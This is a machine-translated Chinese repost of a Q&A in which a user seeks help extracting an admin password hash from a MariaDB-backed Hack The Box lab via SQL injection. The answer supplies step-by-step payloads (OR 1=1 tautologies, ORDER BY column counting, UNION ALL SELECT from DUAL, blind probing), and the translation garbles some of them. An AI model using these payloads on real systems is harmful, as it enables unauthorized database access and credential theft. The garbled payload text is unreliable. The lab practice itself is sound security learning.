微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

mysql – MariaDb SQL注入

我试图(合法地)利用具有SQLi漏洞的MariaDb数据库.

我在这里发现了漏洞……

?/ O = 1&安培;页=应用

o = *易受攻击并产生以下错误……

调试信息:您的SQL语法有错误;检查与MariaDB服务器版本对应的手册,以便在’5’附近使用正确的语法,或者像’1’那样使用’)在第1行的LIMIT 10′

我正在使用Burp Suite并且使用了以下语法,该语法似乎更接近标记,但仍然产生语法错误.

我认为它更接近标记,因为错误只是吐出我引入的查询,而不是’额外’字段:’5’或者说像’1”,LIMIT 10′.

我假设这是原始查询的一部分,因为包含1,当我测试其他随机字符串仍然是真的.

我在管理员密码哈希之后,我从页面线索知道的是uid 1.

这个查询我错过了什么?

SELECT Password FROM mysql.user WHERE(uid =’1’或dest like’%’) – ‘)LIMIT 10

编辑:这是在Hack The Box上完成的,因此没有令人讨厌的非法内容.

解决方法:

EDIT: This is being done on Hack The Box so no nasty illegal stuff
going on.

好吧,让我们玩得开心吧.

当我看到错误消息

DEBUG INFO: You have an error in your SQL syntax; check the manual
that corresponds to your MariaDB server version for the right syntax
to use near ‘5’ or dest like '1'') LIMIT 10' at line 1

我在应用程序中假设查询和代码或多或少像这样伪,@o实际上是一个MySQL用户变量.

SELECT
 *
FROM
 DUMMY_TABLE
WHERE
 DUMMY_TABLE.o = '",@o,"'
LIMIT 10 

我将使用SQL小提琴space来模拟SQL注入测试,并且可以更多地访问其他表.

您可以使用1’或1 = 1#或1’或1 = 1来测试您的注射.两者都应该有效,并且当您使用1作为输入时应该给出相同的结果.
这是因为MariaDB自动为其他数据库转换类型,您可能需要使用更严格的版本1’OR’1’=’1#

哪个应该生成

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1#' LIMIT 10 

要么

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1--' LIMIT 10 

然后,因为您在应用程序中看到错误,您可以使用ORDER BY 1来检查选择了多少列并增加数字,直到出现错误.

错误:ER_BAD_FIELD_ERROR:’order子句’中的未知列’2′

注入

1’订购1#或1’订购1–

这意味着对结果集中的第一列进行排序不排序1个文字.

生成

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1#' LIMIT 10 

要么

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1--' LIMIT 10 

当您知道列时,可以使用UNION进入其他表.如果不需要所有列,请使用NULL.

注射

1’UNION ALL从DUAL中选择NULL#

请注意,DUAL是MariaDB,MySQL和Oracle中的“虚拟”非现有表,如果您可以查询此“表”,则意味着您还可以从技术上进入其他表.

生成SQL

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' UNION ALL SELECT NULL FROM DUAL#' LIMIT 10 

如果网页设计为“详细”页面,其中一条记录始终可见,则需要在注射中添加LIMIT 1,1.

如果在Web应用程序中没有可见的错误怎么办,你应该能够通过盲注SQL注入盲目地强制geuss,看看应用程序是如何工作的.
在尝试强制使用已使用的列号之前,还要尝试诸如?o = 0,?o = NULL或非常高的数字,例如最大INT值(签名)?o = 2147483647或(无符号)?o = 4294967295,以便了解如何该应用程序处理无法找到的记录.
因为它不太可能在INT数据类型上具有id 0或高数字,因为如果给出了最后一个数字,应用程序将停止工作.
如果仍然获得具有这些高数字的记录,请使用BIGINT数据类型的最大值.

对于第1列,相同的结果id o = 1
1’UNION ALL SELECT 1 FROM DUAL LIMIT 1,1#

对于会出错的第2列,但很可能您会看到错误页面或未找到记录的消息.
或者是一个甜蜜的HTTP 404(未找到)错误状态.
1’UNION ALL SELECT 1 FROM DUAL LIMIT 1,1#

在不使用ORDER BY的情况下使用LIMIT时可能遇到的一个问题可能是获得相同记录的机会,因为SQL标准已经定义了SQL表/结果集是无序的而不使用ORDER BY

因此,理想情况下,您需要在bruteforces中继续使用ORDER BY 1.

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC#

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC LIMIT 1, 1#

ORDER BY 1的数据库支持比我最初想的更好,因为它适用于MySQL,MariaDB,SQL Server(MSSQL)和PostgreSQL.

ORDER BY 1也是一个SQL 92功能,它在SQL 99中被删除了.
因此,如果SQL数据库在这一点上遵循SQL标准,那么它实际上不应该执行ORDER BY 1.

SQL 92 BNF

 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
      | <unsigned integer> # <- here it is 

 <ordering specification> ::= ASC | DESC

vs SQL 1999 BNF

 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
                        # <- missing

 <ordering specification> ::= ASC | DESC

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。

相关推荐